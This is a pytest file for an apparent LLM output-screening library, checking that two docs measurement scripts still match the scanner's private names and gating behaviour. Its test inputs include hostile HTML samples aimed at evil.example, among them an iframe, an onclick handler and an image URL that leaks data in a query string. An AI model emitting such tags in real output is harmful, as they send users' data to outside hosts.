llm-ingestion-pipeline-security/tests/test_docs_measurement_scripts.py

"""The `docs/` measurement scripts are contract consumers, and nothing pinned them.

`docs/fp-sweep.py` and `docs/rawhtml-census.py` produce the numbers published in
`docs/LIMITATIONS.md` and the README. Both reach past the public API into private
module state — `active_content._ACTIVE_TAGS`, `calibration.RISK_RANK` — so a rename
inside `src/` breaks them while this suite stays green. The breakage then surfaces
at the worst possible moment: the next time someone tries to re-measure a published
claim, months later, with no memory of what the script was supposed to import.

WHAT THIS FILE DELIBERATELY DOES NOT DO. The corpora these scripts consume live
outside this repo, in private consumer repos (`docs/CONSUMER-MAP.local.md`), so no
test here can run either script end to end, and building a stand-in corpus would
just pin a fiction. The contract under test is therefore narrower and honest:

  1. every name the scripts import still exists with the shape they use;
  2. the in-process patch point still moves the gate (a census that patched a dead
     symbol would print six identical rows and read as a finding, not a failure);
  3. the census's `PRODUCTION` row still equals its `A + base-url` candidate, which
     the script's own docstring calls the drift alarm for every number it prints;
  4. the argument-less invocation still refuses rather than measuring nothing.
"""
from __future__ import annotations

import importlib.util
import subprocess
import sys
from pathlib import Path

import pytest

from llm_ingestion_guard import Disposition, PRESET_USER_UPLOAD, Risk, screen_output
from llm_ingestion_guard import active_content as ac

_DOCS = Path(__file__).resolve().parent.parent / "docs"


def _load(filename: str):
    """Import a hyphenated script from `docs/` under a module name Python allows."""
    path = _DOCS / filename
    name = f"_docs_{path.stem.replace('-', '_')}"
    spec = importlib.util.spec_from_file_location(name, path)
    assert spec and spec.loader, f"cannot load {path}"
    module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(module)
    return module


# Import at collection time on purpose: a rename in `src/` that breaks either
# script's import list fails the whole file loudly instead of one quiet test.
fp_sweep = _load("fp-sweep.py")
census = _load("rawhtml-census.py")


# --- docs/fp-sweep.py --------------------------------------------------------


def test_fp_sweep_reaches_calibration_risk_rank_for_every_risk():
    # `check_metric_is_a_risk_statement` indexes RISK_RANK by `Risk(...).value`.
    # A risk tier added to the enum without a rank would raise KeyError mid-sweep,
    # after the corpus had already been read.
    from llm_ingestion_guard.calibration import RISK_RANK

    assert {r.value for r in Risk} <= set(RISK_RANK)
    assert RISK_RANK is fp_sweep.RISK_RANK


def test_fp_sweep_metric_guard_accepts_the_shipped_action_map():
    fp_sweep.check_metric_is_a_risk_statement()  # must not raise


def test_fp_sweep_metric_guard_is_not_vacuous():
    # The guard exists to catch a re-mapped action map silently changing what the
    # published number *claims*. If it cannot fail, it protects nothing — so make
    # it fail, here, on a map where ELEVATED has become benign.
    remapped = dict(fp_sweep.DEFAULT_ACTION_MAP)
    remapped[Risk.ELEVATED] = fp_sweep.BENIGN
    original = fp_sweep.DEFAULT_ACTION_MAP
    fp_sweep.DEFAULT_ACTION_MAP = remapped
    try:
        with pytest.raises(SystemExit, match="metric invalid"):
            fp_sweep.check_metric_is_a_risk_statement()
    finally:
        fp_sweep.DEFAULT_ACTION_MAP = original


def test_fp_sweep_documents_honours_extension_hidden_and_include(tmp_path):
    (tmp_path / "keep.md").write_text("a", encoding="utf-8")
    (tmp_path / "skip.rst").write_text("a", encoding="utf-8")
    (tmp_path / ".hidden").mkdir()
    (tmp_path / ".hidden" / "buried.md").write_text("a", encoding="utf-8")
    (tmp_path / "sub").mkdir()
    (tmp_path / "sub" / "nested.md").write_text("a", encoding="utf-8")

    names = [p.name for p in fp_sweep.documents(tmp_path, (".md",))]
    assert names == ["keep.md", "nested.md"], "extension or hidden-path filter moved"

    scoped = fp_sweep.documents(tmp_path, (".md",), include="/sub/")
    assert [p.name for p in scoped] == ["nested.md"]


def test_fp_sweep_measure_reads_the_result_fields_it_publishes(tmp_path):
    # Two files, not a corpus: this pins the *shape* the script consumes — that
    # `screen_output` still returns `.disposition` and `.assessment`, that empty
    # files are excluded from the denominator, and that a non-WARN document is
    # attributed to the labels at its worst severity rather than to all of them.
    (tmp_path / "benign.md").write_text("A plain note about deployment.", encoding="utf-8")
    (tmp_path / "empty.md").write_text("   \n", encoding="utf-8")
    (tmp_path / "active.md").write_text(
        'Read more <iframe src="https://evil.example/x"></iframe>', encoding="utf-8"
    )

    m = fp_sweep.measure("probe", tmp_path, (".md",))

    assert m["n"] == 2, "empty documents must not enter the denominator"
    assert m["empty"] == 1
    assert m["non_warn"] == m["n"] - m["dispositions"][fp_sweep.BENIGN.value]
    assert m["non_warn"] >= 1, "the active-content document should not be waved through"
    assert sum(m["assessments"].values()) == m["n"]
    assert sum(m["trusted"].values()) == m["n"]
    assert m["drivers"], "a non-WARN document must be attributed to a driver label"
    assert all(isinstance(k, str) for k in m["drivers"])
    fp_sweep.report(m)  # the reporter reads every key above; a rename crashes here


# --- docs/rawhtml-census.py --------------------------------------------------


def test_census_private_active_content_names_still_exist():
    # Each of these is reached by name from the census. They are private, so
    # nothing else in the suite would notice them being renamed.
    assert isinstance(ac._ACTIVE_TAGS, frozenset) and "base" in ac._ACTIVE_TAGS
    assert ac._EVENT_ATTR_RE.search(' onclick="x()"')
    assert ac._URL_ATTR_RE.search(' href="/x"')
    assert ac._has_external_target("//evil.example") is True
    assert ac._has_external_target("/relative") is False
    assert ac._url_attr_is_external(' href="//evil.example"') is True
    assert ac._url_attr_is_external(' href="/relative"') is False
    assert callable(ac.is_active_tag)
    assert callable(ac.active_tag_class)
    # 0.7.0's two name sets, both reached by name from the census's `_variant`.
    assert "a" in ac._LINK_TAGS and "img" not in ac._LINK_TAGS
    assert {"a", "frame", "img"} <= ac._URL_AFFORDANCE_TAGS
    assert "script" not in ac._URL_AFFORDANCE_TAGS, "an execute-class tag needs no URL"


def test_census_masking_pipeline_matches_the_scanner_symbols():
    # `masked_text` reproduces `scan_active_content`'s masking by name. It blanks
    # with equal-length spaces so later offsets stay meaningful; a substitution
    # that changed length would silently move every tag position it reports.
    text = "See [docs](https://example.com/a) and ![i](https://example.com/b.png)."
    masked = census.masked_text(text)
    assert len(masked) == len(text)
    assert "https://example.com/a" not in masked
    assert not any(m.group("name") for m in ac.HTML_TAG_RE.finditer(masked))


def test_census_html_tag_regex_still_exposes_the_groups_it_reads():
    m = ac.HTML_TAG_RE.search('<iframe src="https://evil.example/x">')
    assert m is not None
    assert m.group("name") == "iframe"
    assert "src=" in m.group("attrs")


def test_census_candidate_table_keeps_its_three_fixed_rows():
    names = [name for name, _ in census.CANDIDATES]
    fns = dict(census.CANDIDATES)
    assert names[0] == "pre-0.6.0 (no narrowing)", "first row is the baseline the rest subtract from"
    assert sum(fn is None for _, fn in census.CANDIDATES) == 1, "exactly one unpatched PRODUCTION row"
    assert fns["PRODUCTION (as shipped)"] is None
    assert fns["NONE (ceiling)"]("iframe", ' src="https://evil.example"') is None


def test_census_candidates_return_a_class_not_a_boolean():
    # A boolean patch point cannot express a REGRADE, only a narrowing. If a
    # candidate ever returns True/False again, every carrier row would compare
    # equal to PRODUCTION on the non-WARN metric and the script would report
    # "the split buys nothing" — the exact conclusion it exists to disprove.
    candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
    assert candidate("a", ' href="https://evil.example/x?d=1"') == "raw-html-link"
    assert candidate("script", "") == "raw-html"
    assert candidate("a", "") is None
    for value in (True, False):
        assert candidate("a", ' href="https://evil.example/x"') is not value


def test_census_patch_point_actually_moves_the_gate(monkeypatch):
    # The census measures candidates by replacing `active_content.active_tag_class`
    # in-process. If the scanner ever resolves that predicate any other way — a
    # local alias, an inlined body — every candidate row would silently equal
    # PRODUCTION and the script would report "no narrowing helps" as a finding.
    doc = 'Read more <iframe src="https://evil.example/x"></iframe>'
    assert screen_output(doc, PRESET_USER_UPLOAD).disposition is not Disposition.WARN

    monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: None)
    assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.WARN


def test_census_regrade_patch_point_moves_the_severity(monkeypatch):
    # The other half: patching the class must move the DISPOSITION TIER, not just
    # presence. A carrier candidate that regrades without changing the tier would
    # be unmeasurable, which is how the non-WARN-only metric hid this class.
    doc = '<img src="https://evil.example/leak?d=x">'
    assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE

    monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: "raw-html-link")
    assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.QUARANTINE_REVIEW


# Every branch of the shipped predicate, plus the two shapes where a hand-rolled
# attribute reader diverges from it: a URL attribute name reached through a
# prefix (`data-src`), and a multi-candidate `srcset` whose external target is
# not the first candidate. Both must be exercised on a tag that is NOT in the
# name set, or the name branch answers first and hides the disagreement.
_PREDICATE_CASES = [
    ("iframe", ' src="https://evil.example/x"'),
    ("script", ""),
    ("base", ' href="https://evil.example/"'),
    ("base", " /"),
    ("div", ' onclick="steal()"'),
    ("div", ' href="//evil.example"'),
    ("div", ' href="/relative/path"'),
    ("div", ' data-src="//evil.example/x"'),
    ("div", ' srcset="a.png 1x, https://evil.example/x.png 2x"'),
    ("div", ' cite="https://evil.example"'),
    ("p", ""),
    # 0.7.0's two branches. Without these the shipped-candidate check would pass
    # while the census still measured the 0.6.1 predicate.
    ("a", ' href="https://evil.example/x?d=1"'),   # carrier split -> link class
    ("area", ' href="//evil.example"'),
    ("a", ' onclick="steal()"'),                   # handler beats the split
    ("a", ""),                                     # no-URL narrowing -> inert
    ("frame", ""),
    ("img", ' alt="a diagram"'),
    ("img", ' src="/local/diagram.png"'),          # relative URL is still active
    ("script", ' type="module"'),                  # execute-class needs no URL
]


@pytest.mark.parametrize("name,attrs", _PREDICATE_CASES, ids=[f"{n}{a}" for n, a in _PREDICATE_CASES])
def test_census_production_row_equals_its_shipped_candidate(name, attrs):
    # The census's own docstring: "`C1 + D` is what 0.7.0 ships, so these two rows
    # must agree — a mismatch means the code and this script have drifted apart
    # and every number below is suspect." That claim was never asserted.
    candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
    assert candidate(name, attrs) == ac.active_tag_class(name, attrs)


# --- both scripts: the argument-less contract --------------------------------


@pytest.mark.parametrize(
    "script,marker",
    [
        ("fp-sweep.py", "POPULATIONS ARE NEVER SUMMED"),
        ("rawhtml-census.py", "TWO METHOD TRAPS IT EXISTS TO AVOID"),
    ],
)
def test_script_run_without_arguments_refuses_and_prints_its_usage(script, marker):
    # Corpus roots are arguments, never hardcoded, so "no arguments" must be a
    # refusal — not an empty measurement that prints 0 of 0 and reads as clean.
    # Run as a subprocess with no PYTHONPATH help: the scripts insert `src/`
    # themselves, and being runnable standalone is part of their usage contract.
    proc = subprocess.run(
        [sys.executable, str(_DOCS / script)],
        capture_output=True, text=True, cwd=_DOCS.parent,
        env={"PATH": "/usr/bin:/bin"},
    )
    assert proc.returncode == 2, proc.stderr
    assert marker in proc.stdout